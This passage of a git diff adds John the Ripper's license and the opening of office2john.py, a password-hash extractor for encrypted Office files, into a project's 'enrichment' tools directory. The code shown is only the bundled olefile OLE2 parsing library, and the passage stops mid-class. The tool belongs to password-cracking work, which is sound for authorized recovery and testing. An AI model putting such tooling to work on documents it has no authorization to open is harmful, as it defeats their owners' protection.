+++ b/cmd/enrichment/enrichment/lib/ext_tools/LICENSE
@@ -0,0 +1,59 @@
+ John the Ripper copyright and license.
+
+John the Ripper password cracker,
+Copyright (c) 1996-2019 by Solar Designer.
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+As a special exception to the GNU General Public License terms,
+permission is hereby granted to link the code of this program, with or
+without modification, with any version of the OpenSSL library and/or any
+version of unRAR, and to distribute such linked combinations. You must
+obey the GNU GPL in all respects for all of the code used other than
+OpenSSL and unRAR. If you modify this program, you may extend this
+exception to your version of the program, but you are not obligated to
+do so. (In other words, you may release your derived work under pure
+GNU GPL version 2 or later as published by the FSF.)
+
+(This exception from the GNU GPL is not required for the core tree of
+John the Ripper, but arguably it is required for -jumbo.)
+
+
+ Relaxed terms for certain components.
+
+In addition or alternatively to the license above, many components are
+available to you under more relaxed terms (most commonly under cut-down
+BSD license) as specified in the corresponding source files.
+
+Furthermore, as the copyright holder for the bcrypt (Blowfish-based
+password hashing) implementation found in John the Ripper, I have placed
+a derived version of this implementation in the public domain. This
+derived version may be obtained at:
+
+ https://www.openwall.com/crypt/
+
+The intent is to provide modern password hashing for your servers and
+your software (where the GPL restrictions could be a problem).
+
+
+ Commercial licensing.
+
+Commercial licenses (non-GPL) are available upon request.
+
+
+ Copyright holder contact information.
+
+For the core John the Ripper tree:
+
+Alexander Peslyak aka Solar Designer
+
+(There are additional copyright holders for "community enhanced" -jumbo
+versions of John the Ripper.)
\ No newline at end of file
diff --git a/cmd/enrichment/enrichment/lib/ext_tools/office2john.py b/cmd/enrichment/enrichment/lib/ext_tools/office2john.py
new file mode 100644
index 0000000..00132dd
--- /dev/null
+++ b/cmd/enrichment/enrichment/lib/ext_tools/office2john.py
@@ -0,0 +1,3193 @@
+#!/usr/bin/env python
+
+# olefile (formerly OleFileIO_PL) version 0.42 2015-01-25
+#
+# Module to read/write Microsoft OLE2 files (also called Structured Storage or
+# Microsoft Compound Document File Format), such as Microsoft Office 97-2003
+# documents, Image Composer and FlashPix files, Outlook messages, ...
+# This version is compatible with Python 2.6+ and 3.x
+#
+# Project website: http://www.decalage.info/olefile
+#
+# olefile is copyright (c) 2005-2015 Philippe Lagadec (http://www.decalage.info)
+#
+# olefile is based on the OleFileIO module from the PIL library v1.1.6
+# See: http://www.pythonware.com/products/pil/index.htm
+#
+# The Python Imaging Library (PIL) is
+# Copyright (c) 1997-2005 by Secret Labs AB
+# Copyright (c) 1995-2005 by Fredrik Lundh
+#
+# See source code and LICENSE.txt for information on usage and redistribution.
+
+
+# Since OleFileIO_PL v0.30, only Python 2.6+ and 3.x is supported
+# This import enables print() as a function rather than a keyword
+# (main requirement to be compatible with Python 3.x)
+# The comment on the line below should be printed on Python 2.5 or older:
+from __future__ import (
+ print_function, # This version of olefile requires Python 2.6+ or 3.x.
+)
+
+__author__ = "Philippe Lagadec"
+__date__ = "2015-01-25"
+__version__ = "0.42.1"
+
+# --- LICENSE ------------------------------------------------------------------
+
+# olefile (formerly OleFileIO_PL) is copyright (c) 2005-2015 Philippe Lagadec
+# (http://www.decalage.info)
+#
+# All rights reserved.
+#
+# Redistribution and use in source and binary forms, with or without modification,
+# are permitted provided that the following conditions are met:
+#
+# * Redistributions of source code must retain the above copyright notice, this
+# list of conditions and the following disclaimer.
+# * Redistributions in binary form must reproduce the above copyright notice,
+# this list of conditions and the following disclaimer in the documentation
+# and/or other materials provided with the distribution.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# ----------
+# PIL License:
+#
+# olefile is based on source code from the OleFileIO module of the Python
+# Imaging Library (PIL) published by Fredrik Lundh under the following license:
+
+# The Python Imaging Library (PIL) is
+# Copyright (c) 1997-2005 by Secret Labs AB
+# Copyright (c) 1995-2005 by Fredrik Lundh
+#
+# By obtaining, using, and/or copying this software and/or its associated
+# documentation, you agree that you have read, understood, and will comply with
+# the following terms and conditions:
+#
+# Permission to use, copy, modify, and distribute this software and its
+# associated documentation for any purpose and without fee is hereby granted,
+# provided that the above copyright notice appears in all copies, and that both
+# that copyright notice and this permission notice appear in supporting
+# documentation, and that the name of Secret Labs AB or the author(s) not be used
+# in advertising or publicity pertaining to distribution of the software
+# without specific, written prior permission.
+#
+# SECRET LABS AB AND THE AUTHORS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS
+# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.
+# IN NO EVENT SHALL SECRET LABS AB OR THE AUTHORS BE LIABLE FOR ANY SPECIAL,
+# INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+# LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
+# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+# PERFORMANCE OF THIS SOFTWARE.
+
+# -----------------------------------------------------------------------------
+# CHANGELOG: (only olefile/OleFileIO_PL changes compared to PIL 1.1.6)
+# 2005-05-11 v0.10 PL: - a few fixes for Python 2.4 compatibility
+# (all changes flagged with [PL])
+# 2006-02-22 v0.11 PL: - a few fixes for some Office 2003 documents which raise
+# exceptions in _OleStream.__init__()
+# 2006-06-09 v0.12 PL: - fixes for files above 6.8MB (DIFAT in loadfat)
+# - added some constants
+# - added header values checks
+# - added some docstrings
+# - getsect: bugfix in case sectors >512 bytes
+# - getsect: added conformity checks
+# - DEBUG_MODE constant to activate debug display
+# 2007-09-04 v0.13 PL: - improved/translated (lots of) comments
+# - updated license
+# - converted tabs to 4 spaces
+# 2007-11-19 v0.14 PL: - added OleFileIO._raise_defect() to adapt sensitivity
+# - improved _unicode() to use Python 2.x unicode support
+# - fixed bug in _OleDirectoryEntry
+# 2007-11-25 v0.15 PL: - added safety checks to detect FAT loops
+# - fixed _OleStream which didn't check stream size
+# - added/improved many docstrings and comments
+# - moved helper functions _unicode and _clsid out of
+# OleFileIO class
+# - improved OleFileIO._find() to add Unix path syntax
+# - OleFileIO._find() is now case-insensitive
+# - added get_type() and get_rootentry_name()
+# - rewritten loaddirectory and _OleDirectoryEntry
+# 2007-11-27 v0.16 PL: - added _OleDirectoryEntry.kids_dict
+# - added detection of duplicate filenames in storages
+# - added detection of duplicate references to streams
+# - added get_size() and exists() to _OleDirectoryEntry
+# - added isOleFile to check header before parsing
+# - added __all__ list to control public keywords in pydoc
+# 2007-12-04 v0.17 PL: - added _load_direntry to fix a bug in loaddirectory
+# - improved _unicode(), added workarounds for Python <2.3
+# - added set_debug_mode and -d option to set debug mode
+# - fixed bugs in OleFileIO.open and _OleDirectoryEntry
+# - added safety check in main for large or binary
+# properties
+# - allow size>0 for storages for some implementations
+# 2007-12-05 v0.18 PL: - fixed several bugs in handling of FAT, MiniFAT and
+# streams
+# - added option '-c' in main to check all streams
+# 2009-12-10 v0.19 PL: - bugfix for 32 bit arrays on 64 bits platforms
+# (thanks to Ben G. and Martijn for reporting the bug)
+# 2009-12-11 v0.20 PL: - bugfix in OleFileIO.open when filename is not plain str
+# 2010-01-22 v0.21 PL: - added support for big-endian CPUs such as PowerPC Macs
+# 2012-02-16 v0.22 PL: - fixed bug in getproperties, patch by chuckleberryfinn
+# (https://bitbucket.org/decalage/olefileio_pl/issue/7)
+# - added close method to OleFileIO (fixed issue #2)
+# 2012-07-25 v0.23 PL: - added support for file-like objects (patch by mete0r_kr)
+# 2013-05-05 v0.24 PL: - getproperties: added conversion from filetime to python
+# datetime
+# - main: displays properties with date format
+# - new class OleMetadata to parse standard properties
+# - added get_metadata method
+# 2013-05-07 v0.24 PL: - a few improvements in OleMetadata
+# 2013-05-24 v0.25 PL: - getproperties: option to not convert some timestamps
+# - OleMetaData: total_edit_time is now a number of seconds,
+# not a timestamp
+# - getproperties: added support for VT_BOOL, VT_INT, V_UINT
+# - getproperties: filter out null chars from strings
+# - getproperties: raise non-fatal defects instead of
+# exceptions when properties cannot be parsed properly
+# 2013-05-27 PL: - getproperties: improved exception handling
+# - _raise_defect: added option to set exception type
+# - all non-fatal issues are now recorded, and displayed
+# when run as a script
+# 2013-07-11 v0.26 PL: - added methods to get modification and creation times
+# of a directory entry or a storage/stream
+# - fixed parsing of direntry timestamps
+# 2013-07-24 PL: - new options in listdir to list storages and/or streams
+# 2014-02-04 v0.30 PL: - upgraded code to support Python 3.x by Martin Panter
+# - several fixes for Python 2.6 (xrange, MAGIC)
+# - reused i32 from Pillow's _binary
+# 2014-07-18 v0.31 - preliminary support for 4K sectors
+# 2014-07-27 v0.31 PL: - a few improvements in OleFileIO.open (header parsing)
+# - Fixed loadfat for large files with 4K sectors (issue #3)
+# 2014-07-30 v0.32 PL: - added write_sect to write sectors to disk
+# - added write_mode option to OleFileIO.__init__ and open
+# 2014-07-31 PL: - fixed padding in write_sect for Python 3, added checks
+# - added write_stream to write a stream to disk
+# 2014-09-26 v0.40 PL: - renamed OleFileIO_PL to olefile
+# 2014-11-09 NE: - added support for Jython (Niko Ehrenfeuchter)
+# 2014-11-13 v0.41 PL: - improved isOleFile and OleFileIO.open to support OLE
+# data in a string buffer and file-like objects.
+# 2014-11-21 PL: - updated comments according to Pillow's commits
+# 2015-01-24 v0.42 PL: - changed the default path name encoding from Latin-1
+# to UTF-8 on Python 2.x (Unicode on Python 3.x)
+# - added path_encoding option to override the default
+# - fixed a bug in _list when a storage is empty
+
+# -----------------------------------------------------------------------------
+# TODO (for version 1.0):
+# + get rid of print statements, to simplify Python 2.x and 3.x support
+# + add is_stream and is_storage
+# + remove leading and trailing slashes where a path is used
+# + add functions path_list2str and path_str2list
+# + fix how all the methods handle unicode str and/or bytes as arguments
+# + add path attrib to _OleDirEntry, set it once and for all in init or
+# append_kids (then listdir/_list can be simplified)
+# - TESTS with Linux, MacOSX, Python 1.5.2, various files, PIL, ...
+# - add underscore to each private method, to avoid their display in
+# pydoc/epydoc documentation - Remove it for classes to be documented
+# - replace all raised exceptions with _raise_defect (at least in OleFileIO)
+# - merge code from _OleStream and OleFileIO.getsect to read sectors
+# (maybe add a class for FAT and MiniFAT ?)
+# - add method to check all streams (follow sectors chains without storing all
+# stream in memory, and report anomalies)
+# - use _OleDirectoryEntry.kids_dict to improve _find and _list ?
+# - fix Unicode names handling (find some way to stay compatible with Py1.5.2)
+# => if possible avoid converting names to Latin-1
+# - review DIFAT code: fix handling of DIFSECT blocks in FAT (not stop)
+# - rewrite OleFileIO.getproperties
+# - improve docstrings to show more sample uses
+# - see also original notes and FIXME below
+# - remove all obsolete FIXMEs
+# - OleMetadata: fix version attrib according to
+# http://msdn.microsoft.com/en-us/library/dd945671%28v=office.12%29.aspx
+
+# IDEAS:
+# - in OleFileIO._open and _OleStream, use size=None instead of 0x7FFFFFFF for
+# streams with unknown size
+# - use arrays of int instead of long integers for FAT/MiniFAT, to improve
+# performance and reduce memory usage ? (possible issue with values >2^31)
+# - provide tests with unittest (may need write support to create samples)
+# - move all debug code (and maybe dump methods) to a separate module, with
+# a class which inherits OleFileIO ?
+# - fix docstrings to follow epydoc format
+# - add support for big endian byte order ?
+# - create a simple OLE explorer with wxPython
+
+# FUTURE EVOLUTIONS to add write support:
+# see issue #6 on Bitbucket:
+# https://bitbucket.org/decalage/olefileio_pl/issue/6/improve-olefileio_pl-to-write-ole-files
+
+# -----------------------------------------------------------------------------
+# NOTES from PIL 1.1.6:
+
+# History:
+# 1997-01-20 fl Created
+# 1997-01-22 fl Fixed 64-bit portability quirk
+# 2003-09-09 fl Fixed typo in OleFileIO.loadfat (noted by Daniel Haertle)
+# 2004-02-29 fl Changed long hex constants to signed integers
+#
+# Notes:
+# FIXME: sort out sign problem (eliminate long hex constants)
+# FIXME: change filename to use "a/b/c" instead of ["a", "b", "c"]
+# FIXME: provide a glob mechanism function (using fnmatchcase)
+#
+# Literature:
+#
+# "FlashPix Format Specification, Appendix A", Kodak and Microsoft,
+# September 1996.
+#
+# Quotes:
+#
+# "If this document and functionality of the Software conflict,
+# the actual functionality of the Software represents the correct
+# functionality" -- Microsoft, in the OLE format specification
+
+# ------------------------------------------------------------------------------
+
+
+# Standard Libraries
+import array
+import datetime
+import io
+import os.path
+import struct
+import sys
+from contextlib import redirect_stdout
+
+# === COMPATIBILITY WORKAROUNDS ================================================
+
+# [PL] Define explicitly the public API to avoid private objects in pydoc:
+# TODO: add more
+# __all__ = ['OleFileIO', 'isOleFile', 'MAGIC']
+
+# For Python 3.x, need to redefine long as int:
+if str is not bytes:
+ long = int
+
+# Need to make sure we use xrange both on Python 2 and 3.x:
+try:
+ # on Python 2 we need xrange:
+ iterrange = xrange # type: ignore
+except:
+ # no xrange, for Python 3 it was renamed as range:
+ iterrange = range
+
+# [PL] workaround to fix an issue with array item size on 64 bits systems:
+if array.array("L").itemsize == 4:
+ # on 32 bits platforms, long integers in an array are 32 bits:
+ UINT32 = "L"
+elif array.array("I").itemsize == 4:
+ # on 64 bits platforms, integers in an array are 32 bits:
+ UINT32 = "I"
+elif array.array("i").itemsize == 4:
+ # On 64 bit Jython, signed integers ('i') are the only way to store our 32
+ # bit values in an array in a *somewhat* reasonable way, as the otherwise
+ # perfectly suited 'H' (unsigned int, 32 bits) results in a completely
+ # unusable behaviour. This is most likely caused by the fact that Java
+ # doesn't have unsigned values, and thus Jython's "array" implementation,
+ # which is based on "jarray", doesn't have them either.
+ # NOTE: to trick Jython into converting the values it would normally
+ # interpret as "signed" into "unsigned", a binary-and operation with
+ # 0xFFFFFFFF can be used. This way it is possible to use the same comparing
+ # operations on all platforms / implementations. The corresponding code
+ # lines are flagged with a 'JYTHON-WORKAROUND' tag below.
+ UINT32 = "i"
+else:
+ raise ValueError("Need to fix a bug with 32 bit arrays, please contact author...")
+
+
+# [PL] These workarounds were inspired from the Path module
+# (see http://www.jorendorff.com/articles/python/path/)
+# TODO: test with old Python versions
+
+# Pre-2.3 workaround for basestring.
+try:
+ basestring # type: ignore
+except NameError:
+ try:
+ # is Unicode supported (Python >2.0 or >1.6 ?)
+ basestring = (str, unicode) # type: ignore
+ except NameError:
+ basestring = str
+
+# [PL] Experimental setting: if True, OLE filenames will be kept in Unicode
+# if False (default PIL behaviour), all filenames are converted to Latin-1.
+KEEP_UNICODE_NAMES = True
+
+if sys.version_info[0] < 3:
+ # On Python 2.x, the default encoding for path names is UTF-8:
+ DEFAULT_PATH_ENCODING = "utf-8"
+else:
+ # On Python 3.x, the default encoding for path names is Unicode (None):
+ DEFAULT_PATH_ENCODING = None
+
+
+# === DEBUGGING ===============================================================
+
+# TODO: replace this by proper logging
+
+# [PL] DEBUG display mode: False by default, use set_debug_mode() or "-d" on
+# command line to change it.
+DEBUG_MODE = False
+
+
+def debug_print(msg):
+ print(msg)
+
+
+def debug_pass(msg):
+ pass
+
+
+debug = debug_pass
+
+
+def set_debug_mode(debug_mode):
+ """
+ Set debug mode on or off, to control display of debugging messages.
+ :param mode: True or False
+ """
+ global DEBUG_MODE, debug
+ DEBUG_MODE = debug_mode
+ if debug_mode:
+ debug = debug_print
+ else:
+ debug = debug_pass
+
+
+# === CONSTANTS ===============================================================
+
+# magic bytes that should be at the beginning of every OLE file:
+MAGIC = b"\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1"
+
+# [PL]: added constants for Sector IDs (from AAF specifications)
+MAXREGSECT = 0xFFFFFFFA # (-6) maximum SECT
+DIFSECT = 0xFFFFFFFC # (-4) denotes a DIFAT sector in a FAT
+FATSECT = 0xFFFFFFFD # (-3) denotes a FAT sector in a FAT
+ENDOFCHAIN = 0xFFFFFFFE # (-2) end of a virtual stream chain
+FREESECT = 0xFFFFFFFF # (-1) unallocated sector
+
+# [PL]: added constants for Directory Entry IDs (from AAF specifications)
+MAXREGSID = 0xFFFFFFFA # (-6) maximum directory entry ID
+NOSTREAM = 0xFFFFFFFF # (-1) unallocated directory entry
+
+# [PL] object types in storage (from AAF specifications)
+STGTY_EMPTY = 0 # empty directory entry (according to OpenOffice.org doc)
+STGTY_STORAGE = 1 # element is a storage object
+STGTY_STREAM = 2 # element is a stream object
+STGTY_LOCKBYTES = 3 # element is an ILockBytes object
+STGTY_PROPERTY = 4 # element is an IPropertyStorage object
+STGTY_ROOT = 5 # element is a root storage
+
+
+#
+# --------------------------------------------------------------------
+# property types
+
+VT_EMPTY = 0
+VT_NULL = 1
+VT_I2 = 2
+VT_I4 = 3
+VT_R4 = 4
+VT_R8 = 5
+VT_CY = 6
+VT_DATE = 7
+VT_BSTR = 8
+VT_DISPATCH = 9
+VT_ERROR = 10
+VT_BOOL = 11
+VT_VARIANT = 12
+VT_UNKNOWN = 13
+VT_DECIMAL = 14
+VT_I1 = 16
+VT_UI1 = 17
+VT_UI2 = 18
+VT_UI4 = 19
+VT_I8 = 20
+VT_UI8 = 21
+VT_INT = 22
+VT_UINT = 23
+VT_VOID = 24
+VT_HRESULT = 25
+VT_PTR = 26
+VT_SAFEARRAY = 27
+VT_CARRAY = 28
+VT_USERDEFINED = 29
+VT_LPSTR = 30
+VT_LPWSTR = 31
+VT_FILETIME = 64
+VT_BLOB = 65
+VT_STREAM = 66
+VT_STORAGE = 67
+VT_STREAMED_OBJECT = 68
+VT_STORED_OBJECT = 69
+VT_BLOB_OBJECT = 70
+VT_CF = 71
+VT_CLSID = 72
+VT_VECTOR = 0x1000
+
+# map property id to name (for debugging purposes)
+
+VT = {}
+for keyword, var in list(vars().items()):
+ if keyword[:3] == "VT_":
+ VT[var] = keyword
+
+#
+# --------------------------------------------------------------------
+# Some common document types (root.clsid fields)
+
+WORD_CLSID = "00020900-0000-0000-C000-000000000046"
+# TODO: check Excel, PPT, ...
+
+# [PL]: Defect levels to classify parsing errors - see OleFileIO._raise_defect()
+DEFECT_UNSURE = 10 # a case which looks weird, but not sure it's a defect
+DEFECT_POTENTIAL = 20 # a potential defect
+DEFECT_INCORRECT = 30 # an error according to specifications, but parsing
+# can go on
+DEFECT_FATAL = 40 # an error which cannot be ignored, parsing is
+# impossible
+
+# Minimal size of an empty OLE file, with 512-bytes sectors = 1536 bytes
+# (this is used in isOleFile and OleFile.open)
+MINIMAL_OLEFILE_SIZE = 1536
+
+# [PL] add useful constants to __all__:
+# for key in list(vars().keys()):
+# if key.startswith('STGTY_') or key.startswith('DEFECT_'):
+# __all__.append(key)
+
+
+# === FUNCTIONS ===============================================================
+
+
+def isOleFile(filename):
+ """
+ Test if a file is an OLE container (according to the magic bytes in its header).
+
+ :param filename: string-like or file-like object, OLE file to parse
+
+ - if filename is a string smaller than 1536 bytes, it is the path
+ of the file to open. (bytes or unicode string)
+ - if filename is a string longer than 1535 bytes, it is parsed
+ as the content of an OLE file in memory. (bytes type only)
+ - if filename is a file-like object (with read and seek methods),
+ it is parsed as-is.
+
+ :returns: True if OLE, False otherwise.
+ """
+ # check if filename is a string-like or file-like object:
+ if hasattr(filename, "read"):
+ # file-like object: use it directly
+ header = filename.read(len(MAGIC))
+ # just in case, seek back to start of file:
+ filename.seek(0)
+ elif isinstance(filename, bytes) and len(filename) >= MINIMAL_OLEFILE_SIZE:
+ # filename is a bytes string containing the OLE file to be parsed:
+ header = filename[: len(MAGIC)]
+ else:
+ # string-like object: filename of file on disk
+ header = open(filename, "rb").read(len(MAGIC))
+ if header == MAGIC:
+ return True
+ else:
+ return False
+
+
+if bytes is str:
+ # version for Python 2.x
+ def i8(c): # type: ignore
+ return ord(c)
+
+else:
+ # version for Python 3.x
+ def i8(c):
+ return c if c.__class__ is int else c[0]
+
+
+# TODO: replace i16 and i32 with more readable struct.unpack equivalent?
+
+
+def i16(c, o=0):
+ """
+ Converts a 2-bytes (16 bits) string to an integer.
+
+ :param c: string containing bytes to convert
+ :param o: offset of bytes to convert in string
+ """
+ return i8(c[o]) | (i8(c[o + 1]) << 8)
+
+
+def i32(c, o=0):
+ """
+ Converts a 4-bytes (32 bits) string to an integer.
+
+ :param c: string containing bytes to convert
+ :param o: offset of bytes to convert in string
+ """
+ # return int(ord(c[o])+(ord(c[o+1])<<8)+(ord(c[o+2])<<16)+(ord(c[o+3])<<24))
+ # # [PL]: added int() because "<<" gives long int since Python 2.4
+ # copied from Pillow's _binary:
+ return i8(c[o]) | (i8(c[o + 1]) << 8) | (i8(c[o + 2]) << 16) | (i8(c[o + 3]) << 24)
+
+
+def _clsid(clsid):
+ """
+ Converts a CLSID to a human-readable string.
+
+ :param clsid: string of length 16.
+ """
+ assert len(clsid) == 16
+ # if clsid is only made of null bytes, return an empty string:
+ # (PL: why not simply return the string with zeroes?)
+ if not clsid.strip(b"\0"):
+ return ""
+ return ("%08X-%04X-%04X-%02X%02X-" + "%02X" * 6) % ((i32(clsid, 0), i16(clsid, 4), i16(clsid, 6)) + tuple(map(i8, clsid[8:16])))
+
+
+def filetime2datetime(filetime):
+ """
+ convert FILETIME (64 bits int) to Python datetime.datetime
+ """
+ # TODO: manage exception when microseconds is too large
+ # inspired from http://code.activestate.com/recipes/511425-filetime-to-datetime/
+ _FILETIME_null_date = datetime.datetime(1601, 1, 1, 0, 0, 0)
+ # debug('timedelta days=%d' % (filetime//(10*1000000*3600*24)))
+ return _FILETIME_null_date + datetime.timedelta(microseconds=filetime // 10)
+
+
+# === CLASSES ==================================================================
+
+
+class OleMetadata:
+ """
+ class to parse and store metadata from standard properties of OLE files.
+
+ Available attributes:
+ codepage, title, subject, author, keywords, comments, template,
+ last_saved_by, revision_number, total_edit_time, last_printed, create_time,
+ last_saved_time, num_pages, num_words, num_chars, thumbnail,
+ creating_application, security, codepage_doc, category, presentation_target,
+ bytes, lines, paragraphs, slides, notes, hidden_slides, mm_clips,
+ scale_crop, heading_pairs, titles_of_parts, manager, company, links_dirty,
+ chars_with_spaces, unused, shared_doc, link_base, hlinks, hlinks_changed,
+ version, dig_sig, content_type, content_status, language, doc_version
+
+ Note: an attribute is set to None when not present in the properties of the
+ OLE file.
+
+ References for SummaryInformation stream:
+ - http://msdn.microsoft.com/en-us/library/dd942545.aspx
+ - http://msdn.microsoft.com/en-us/library/dd925819%28v=office.12%29.aspx
+ - http://msdn.microsoft.com/en-us/library/windows/desktop/aa380376%28v=vs.85%29.aspx
+ - http://msdn.microsoft.com/en-us/library/aa372045.aspx
+ - http://sedna-soft.de/summary-information-stream/
+ - http://poi.apache.org/apidocs/org/apache/poi/hpsf/SummaryInformation.html
+
+ References for DocumentSummaryInformation stream:
+ - http://msdn.microsoft.com/en-us/library/dd945671%28v=office.12%29.aspx
+ - http://msdn.microsoft.com/en-us/library/windows/desktop/aa380374%28v=vs.85%29.aspx
+ - http://poi.apache.org/apidocs/org/apache/poi/hpsf/DocumentSummaryInformation.html
+
+ new in version 0.25
+ """
+
+ # attribute names for SummaryInformation stream properties:
+ # (ordered by property id, starting at 1)
+ SUMMARY_ATTRIBS = [
+ "codepage",
+ "title",
+ "subject",
+ "author",
+ "keywords",
+ "comments",
+ "template",
+ "last_saved_by",
+ "revision_number",
+ "total_edit_time",
+ "last_printed",
+ "create_time",
+ "last_saved_time",
+ "num_pages",
+ "num_words",
+ "num_chars",
+ "thumbnail",
+ "creating_application",
+ "security",
+ ]
+
+ # attribute names for DocumentSummaryInformation stream properties:
+ # (ordered by property id, starting at 1)
+ DOCSUM_ATTRIBS = [
+ "codepage_doc",
+ "category",
+ "presentation_target",
+ "bytes",
+ "lines",
+ "paragraphs",
+ "slides",
+ "notes",
+ "hidden_slides",
+ "mm_clips",
+ "scale_crop",
+ "heading_pairs",
+ "titles_of_parts",
+ "manager",
+ "company",
+ "links_dirty",
+ "chars_with_spaces",
+ "unused",
+ "shared_doc",
+ "link_base",
+ "hlinks",
+ "hlinks_changed",
+ "version",
+ "dig_sig",
+ "content_type",
+ "content_status",
+ "language",
+ "doc_version",
+ ]
+
+ def __init__(self):
+ """
+ Constructor for OleMetadata
+ All attributes are set to None by default
+ """
+ # properties from SummaryInformation stream
+ self.codepage = None
+ self.title = None
+ self.subject = None
+ self.author = None
+ self.keywords = None
+ self.comments = None
+ self.template = None
+ self.last_saved_by = None
+ self.revision_number = None
+ self.total_edit_time = None
+ self.last_printed = None
+ self.create_time = None
+ self.last_saved_time = None
+ self.num_pages = None
+ self.num_words = None
+ self.num_chars = None
+ self.thumbnail = None
+ self.creating_application = None
+ self.security = None
+ # properties from DocumentSummaryInformation stream
+ self.codepage_doc = None
+ self.category = None
+ self.presentation_target = None
+ self.bytes = None
+ self.lines = None
+ self.paragraphs = None
+ self.slides = None
+ self.notes = None
+ self.hidden_slides = None
+ self.mm_clips = None
+ self.scale_crop = None
+ self.heading_pairs = None
+ self.titles_of_parts = None
+ self.manager = None
+ self.company = None
+ self.links_dirty = None
+ self.chars_with_spaces = None
+ self.unused = None
+ self.shared_doc = None
+ self.link_base = None
+ self.hlinks = None
+ self.hlinks_changed = None
+ self.version = None
+ self.dig_sig = None
+ self.content_type = None
+ self.content_status = None
+ self.language = None
+ self.doc_version = None
+
+ def parse_properties(self, olefile):
+ """
+ Parse standard properties of an OLE file, from the streams
+ "\x05SummaryInformation" and "\x05DocumentSummaryInformation",
+ if present.
+ Properties are converted to strings, integers or python datetime objects.
+ If a property is not present, its value is set to None.
+ """
+ # first set all attributes to None:
+ for attrib in self.SUMMARY_ATTRIBS + self.DOCSUM_ATTRIBS:
+ setattr(self, attrib, None)
+ if olefile.exists("\x05SummaryInformation"):
+ # get properties from the stream:
+ # (converting timestamps to python datetime, except total_edit_time,
+ # which is property #10)
+ props = olefile.getproperties("\x05SummaryInformation", convert_time=True, no_conversion=[10])
+ # store them into this object's attributes:
+ for i in range(len(self.SUMMARY_ATTRIBS)):
+ # ids for standards properties start at 0x01, until 0x13
+ value = props.get(i + 1, None)
+ setattr(self, self.SUMMARY_ATTRIBS[i], value)
+ if olefile.exists("\x05DocumentSummaryInformation"):
+ # get properties from the stream:
+ props = olefile.getproperties("\x05DocumentSummaryInformation", convert_time=True)
+ # store them into this object's attributes:
+ for i in range(len(self.DOCSUM_ATTRIBS)):
+ # ids for standards properties start at 0x01, until 0x13
+ value = props.get(i + 1, None)
+ setattr(self, self.DOCSUM_ATTRIBS[i], value)
+
+ def dump(self):
+ """
+ Dump all metadata, for debugging purposes.
+ """
+ print("Properties from SummaryInformation stream:")
+ for prop in self.SUMMARY_ATTRIBS:
+ value = getattr(self, prop)
+ print("- %s: %s" % (prop, repr(value)))
+ print("Properties from DocumentSummaryInformation stream:")
+ for prop in self.DOCSUM_ATTRIBS:
+ value = getattr(self, prop)
+ print("- %s: %s" % (prop, repr(value)))
+
+
+# --- _OleStream ---------------------------------------------------------------
+
+
+class _OleStream(io.BytesIO):
+ """
+ OLE2 Stream
+
+ Returns a read-only file object which can be used to read
+ the contents of a OLE stream (instance of the BytesIO class).
+ To open a stream, use the openstream method in the OleFile class.
+
+ This function can be used with either ordinary streams,
+ or ministreams, depending on the offset, sectorsize, and
+ fat table arguments.
+
+ Attributes:
+
+ - size: actual size of data stream, after it was opened.
+ """
+
+ # FIXME: should store the list of sects obtained by following
+ # the fat chain, and load new sectors on demand instead of
+ # loading it all in one go.
+
+ def __init__(self, fp, sect, size, offset, sectorsize, fat, filesize):
+ """
+ Constructor for _OleStream class.
+
+ :param fp: file object, the OLE container or the MiniFAT stream
+ :param sect: sector index of first sector in the stream
+ :param size: total size of the stream
+ :param offset: offset in bytes for the first FAT or MiniFAT sector
+ :param sectorsize: size of one sector
+ :param fat: array/list of sector indexes (FAT or MiniFAT)
+ :param filesize: size of OLE file (for debugging)
+ :returns: a BytesIO instance containing the OLE stream
+ """
+ debug("_OleStream.__init__:")
+ debug(" sect=%d (%X), size=%d, offset=%d, sectorsize=%d, len(fat)=%d, fp=%s" % (sect, sect, size, offset, sectorsize, len(fat), repr(fp)))
+ # [PL] To detect malformed documents with FAT loops, we compute the
+ # expected number of sectors in the stream:
+ unknown_size = False
+ if size == 0x7FFFFFFF:
+ # this is the case when called from OleFileIO._open(), and stream
+ # size is not known in advance (for example when reading the
+ # Directory stream). Then we can only guess maximum size:
+ size = len(fat) * sectorsize
+ # and we keep a record that size was unknown:
+ unknown_size = True
+ debug(" stream with UNKNOWN SIZE")
+ nb_sectors = (size + (sectorsize - 1)) // sectorsize
+ debug("nb_sectors = %d" % nb_sectors)
+ # This number should (at least) be less than the total number of
+ # sectors in the given FAT:
+ if nb_sectors > len(fat):
+ raise IOError("malformed OLE document, stream too large")
+ # optimization(?): data is first a list of strings, and join() is called
+ # at the end to concatenate all in one string.
